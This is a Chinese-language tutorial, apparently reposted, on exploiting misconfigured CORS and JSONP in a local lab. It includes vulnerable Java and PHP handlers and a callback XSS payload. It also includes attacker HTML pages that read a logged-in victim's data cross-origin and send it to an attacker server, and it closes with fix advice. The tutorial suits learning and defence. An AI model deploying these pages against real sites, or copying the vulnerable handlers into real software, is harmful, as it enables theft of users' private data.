CORS與JSONP配置不當所導致的信息泄露


CORS

CORS作用

CORS(跨域資源共享)是用來實現跨域資源訪問的,比如a.comb.com 2個站,a.com要訪問b.com的資源,正常情況下是訪問不了的。但是有cors就可以利用ajax來訪問b.com的內容了,並且在一定配置下a.com甚至可以利用b.com下的cookie,又因為是ajax請求,因此可以使用多種請求頭(POST, HEAD, GET)

CORS配置

CORS的配置有2個比較重要的參數,這2個參數是在被請求的站中配置的(這里就是b.com)並且在請求頭中的形式存在,即response回來的時候會有顯示

用來申明什么站可以享有本站的資源

Access-Control-Allow-Origin: evil.com

用來申明是否可以帶上cookie

Access-Control-Allow-Credentials: true   //true表示可以,false表示不行,默認為false

但是稍微注意下如果是如下配置,雖然可以讓任意站訪問資源,但是不會帶上cookie的

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

在java中可以使用下面函數定義

String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 設置Origin值為Header中獲取到的response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie

在php中可以設置下返回的請求頭

header("Access-Control-Allow-Origin:http://www.evil.com");
header("Access-Control-Allow-Credentials:true");
CORS帶上cookie的利用

整個利用過程有點像CRSF,即其實是誘導用戶去點擊惡意的連接,並且把信息發到日志中的效果,用戶的cookie是什么只有在用戶的瀏覽器上看得到,而攻擊者最多獲得返回的結果

帶上cookie,並不意味着能拿到cookie,最先我以為是能夠拿到對方的cookie的值,但是實際上是拿不到的。舉個例子

用戶a  cookie:user=a;
用戶b  cokkie:user=b;

請求b.com后,返回信息
用戶a {'user': 'a', 'password':'123'}
用戶b {'user': 'b', 'password':'456'}

而CORS,假設用戶a來觸發了這個漏洞,那么攻擊者能夠獲得的是

{'user': 'a', 'password':'123'}

但他並不知道

cookie:user=a;

接下來利用需要2個站,我服務器使用的是github上的一個java漏洞項目:https://github.com/JoyChou93/java-sec-code

漏洞服務器,本機的10.10.10.1:8080/cors/vuls1

惡意腳本網站,虛擬機10.10.10.128/cors/steal.html

在本機10.10.10.1:8080上啟動服務,我這里在原先的代碼上新加了條cookie

    protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

    @RequestMapping("/vuls1")
    @ResponseBody
    private static String vuls1(HttpServletRequest request, HttpServletResponse response) {
        Cookie cookie1=new Cookie("aaa","AAA");
        response.addCookie(cookie1);
        // 獲取Header中的Origin
        String origin = request.getHeader("origin");
        response.setHeader("Access-Control-Allow-Origin", origin); // 設置Origin值為Header中獲取到的
        response.setHeader("Access-Control-Allow-Credentials", "true");  // cookie
        return info;
    }

在虛擬機服務器上的html代碼如下

<!DOCTYPE html>
<html>
<body>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>
 
<script>
function cors() {
  var xhttp = new XMLHttpRequest();
  xhttp.onreadystatechange = function() {
    if (this.readyState == 4 && this.status == 200) {
      document.getElementById("demo").innerHTML = alert(this.responseText);
      //利用下面代碼發送到日志中去
      //location="//10.10.10.128/cors/?response="+this.responseText;
    }
  };
  xhttp.open("GET", "http://10.10.10.1:8080/cors/vuls1", true);
  xhttp.withCredentials = true;
  xhttp.send();
}
</script>
</body>
</html>

ajax發送跨域請求的時候,它會在請求頭自動帶上origin字段

此時有一名用戶,訪問了我本機的服務

10.10.10.1:8080/cors/vuls1

正常獲得了以下信息,並且有cookie了

該用戶訪問惡意網站,那么會出現以下頁面

點擊exploit后,跳轉到index.php頁面了,但是信息被記錄在攻擊者的服務器上了

當然,把跳轉發到服務器上給關閉了,查看下network的請求,也可以看到它的一個工作原理

可以看到本來該站沒有cookie的,但是把用戶10.10.10.1:8080域下的cookie給發送過去了,並且成功的活動了返回值

CORS不能對cookie的利用

服務器端不需要cookie的話,只需要設置成這樣

Access-Control-Allow-Credentials: false

接下來,再試下剛剛的請求方式

cookie依然帶着的,但是沒有信息回顯的情況,可以理解為把cookie傳了過去,但是,服務器沒有接受處理請求,response的頭的Access-Control-Allow-Credentials是false了

如果利用被設置成false的,可以使用緩存投毒造成xss,但是目前先挖個坑,之后再補上

修復建議

采用白名單的形式對origin進行限制

JSONP劫持

jsonp的作用

jsonp和CORS的作用都是用來跨域獲取信息的,而jsonp是用get形式來獲取信息,一般是有個叫callback的參數,它會利用去獲取服務器的信息,然后將callback的參數作為自己的某個js函數名,來處理收到的數據

服務器端jsonp的寫法

在php下可以使用

<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST ['callback']);//獲取回調函數名
//json數據
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>

在java下可以這么寫

    protected static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

    // http://localhost:8080/jsonp/referer?callback=test
    @RequestMapping("/referer")
    @ResponseBody
    private static String referer(HttpServletRequest request, HttpServletResponse response) {
        // JSONP的跨域設置
        response.setHeader("Access-Control-Allow-Origin", "*");
        String callback = request.getParameter("callback");
        return callback + "(" + info + ")";
    }
利用

利用方式是在攻擊者服務器上創建個html頁面,誘導受害者去點擊,即可獲對應的受害者訪問過的取存在漏洞缺陷的網站的個人信息,因為callback回來的js函數是攻擊者服務器是的js函數,因此一般這個函數用來打印出獲取的信息或者發送到日志里面去

存在jsonp服務器: 10.10.10.1

攻擊者服務器:10.10.10.128

漏洞url為10.10.10.1:8080/jsonp/referer,在攻擊者服務器上掛上以下的html頁面

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持測試</title>
</head>
<body>
<script type="text/javascript">
function test(result)
        {
            alert(JSON.stringify(result))
        }

function sendtoserver(result){
    var xmlhttp;
    if (window.XMLHttpRequest)
    {
        xmlhttp=new XMLHttpRequest();
    }
    else
    {
	xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
    }

    var url = "http://10.10.10.128/jsonp/index.php?result=" + JSON.stringify(result);
    xmlhttp.open("GET",url,true);
    xmlhttp.send();
}
</script>

<!--<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=test"></script>-->
<script type="text/javascript" src="http://10.10.10.1:8080/jsonp/referer?callback=sendtoserver"></script>
</body>
</html>

受害者去訪問攻擊者的服務器url

10.10.10.128/jsonp/index.html

那么就能返回目標在漏洞頁面獲取的json數據了

造成反射型xss

造成xss是因為沒有規定返回值為json格式,而是text格式,所導致的

因為callback可控,而正常情況下是這樣的 callback(var), 可控的話可以做到這樣alert(1)//(var)

<?php
//header('Content-type: application/json');
$callback = $_REQUEST ['callback'];
$json_data='({"id":"1","name":"Aaron"})';
echo $callback . "(" . $json_data . ")";
?>

那么請求下面的url就能觸發反射性xss

http://127.0.0.1/tmp/jsonp.php?callback=<script>alert(1)</script>

修復方法

對於xss很簡單,直接使用json的返回格式即可

對於劫持可以利用,因為是前端的利用,可以設置referer來設置白名單排除惡意站點,注意下空referer被繞過現象

   @RequestMapping("/sec")
    @ResponseBody
    private static String sec(HttpServletRequest request, HttpServletResponse response) {
        // JSONP的跨域設置
        response.setHeader("Access-Control-Allow-Origin", "*");
        String referer = request.getHeader("referer");

        if (!SecurityUtil.checkURLbyEndsWith(referer, urlwhitelist)) {
            return "error";
        }

        String callback = request.getParameter("callback");
        return callback + "(" + info + ")";
    }

當然你也可以使用cors

參\考:

https://xz.aliyun.com/t/2745

https://cloud.tencent.com/developer/article/1380045

https://blog.csdn.net/qq_33020901/article/details/79294147


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM